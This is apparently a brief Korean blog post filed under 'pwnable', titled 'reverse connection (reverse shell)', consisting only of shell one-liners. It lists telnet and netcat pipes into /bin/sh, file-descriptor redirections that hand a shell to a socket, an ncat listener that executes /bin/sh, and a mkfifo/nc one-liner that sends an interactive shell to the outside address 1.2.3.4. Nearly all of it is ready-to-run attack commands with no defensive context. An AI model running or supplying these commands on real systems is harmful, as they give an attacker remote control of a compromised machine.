pwnable

리버스 커넥션 (리버스 쉘)

범고래_1 2018. 7. 9. 21:31

sleep 1000 | telnet localhost 5555 | /bin/sh | telnet localhost 6666

nc localhost 5555 | /bin/sh | nc localhost 6666

sh >&4 0<&4

ncat -l -p 8888 -e /bin/sh

exec 1 > &4 ; exec 0 > &4; sh;

(4는 fd 넘버)

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 7777 >/tmp/f